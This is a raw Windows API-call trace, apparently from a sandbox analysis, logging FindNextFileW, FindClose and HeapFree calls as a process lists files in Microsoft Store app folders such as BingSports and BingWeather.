	[0095.909] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x608513a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa53f14b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0095.909] FindClose (in: hFindFile=0x31215d0 | out: hFindFile=0x31215d0) returned 1
	[0095.909] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0095.909] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2a05a2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d0219, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608775e5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI689D~1.0_X")) returned 1
	[0095.911] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.911] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c2c683a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0095.914] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0095.914] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c312cbd, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c2ab5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0095.916] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0095.916] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c338f0b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c338f0b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x13f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sports_LogoSmall.scale-100.png", cAlternateFileName="")) returned 1
	[0095.917] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0095.917] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x120f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatsLogo.png", cAlternateFileName="")) returned 1
	[0095.917] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.917] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0095.917] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.917] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3853b7, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c3853b7, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c3853b7, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x5ab7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MarketConfiguration.xml", cAlternateFileName="")) returned 1
	[0095.920] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0095.920] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c490576, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c51ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c490576, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0095.920] FindClose (in: hFindFile=0x3121250 | out: hFindFile=0x3121250) returned 1
	[0095.920] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.920] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3853b7, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c3853b7, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c46a340, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x35acb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0095.923] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0095.923] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73d444, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FoodAndDrink", cAlternateFileName="FOODAN~1")) returned 1
	[0095.923] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0095.923] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73dce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Health", cAlternateFileName="")) returned 1
	[0095.923] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0095.923] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="News", cAlternateFileName="")) returned 1
	[0095.924] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0095.924] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73ed8e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1
	[0095.924] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0095.924] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73f623, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 1
	[0095.924] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0095.924] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73f623, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 0
	[0095.924] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0095.924] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0095.924] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73b0f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 0
	[0095.925] FindClose (in: hFindFile=0x3121450 | out: hFindFile=0x3121450) returned 1
	[0095.925] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0095.926] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c62fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 0
	[0095.926] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0095.926] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.927] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7402e1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1
	[0096.671] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0096.671] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa742614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0
	[0096.671] FindClose (in: hFindFile=0x31212d0 | out: hFindFile=0x31212d0) returned 1
	[0096.671] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.671] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa741b52, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Glyphs", cAlternateFileName="")) returned 0
	[0096.671] FindClose (in: hFindFile=0x3121510 | out: hFindFile=0x3121510) returned 1
	[0096.671] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0096.671] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa741010, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0096.671] FindClose (in: hFindFile=0x31214d0 | out: hFindFile=0x31214d0) returned 1
	[0096.671] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.672] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c502c94, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9a1593, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xb8da00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Sports.dll", cAlternateFileName="")) returned 1
	[0096.673] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.673] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9a1593, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9a1593, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9a1593, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1
	[0096.673] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.673] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9c77d0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9c77d0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9c77d0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4413, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlatformConfiguration.xml", cAlternateFileName="")) returned 1
	[0096.673] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0096.674] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6caf896e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7452b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6caf896e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0
	[0096.674] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0096.674] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.674] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d109a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1
	[0096.674] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.674] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d109a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0096.674] FindClose (in: hFindFile=0x3121710 | out: hFindFile=0x3121710) returned 1
	[0096.674] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0096.674] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e476601, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.SCA")) returned 1
	[0096.676] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.676] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e58a1bc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa8cdeaf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e5b0416, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0096.678] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.678] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5d667d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e5d667d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e5d667d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="StoreLogo.scale-100.png", cAlternateFileName="")) returned 1
	[0096.678] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0096.678] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e4fcf04, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa7da30b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e622b9b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 0
	[0096.678] FindClose (in: hFindFile=0x31214d0 | out: hFindFile=0x31214d0) returned 1
	[0096.678] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.678] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0096.678] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.678] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e622b9b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e648df4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e648df4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0096.679] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0096.680] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2cdd5a7d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.0_N")) returned 1
	[0096.680] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.681] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ce6e3c6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2ce94624, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2ce94624, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0096.681] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
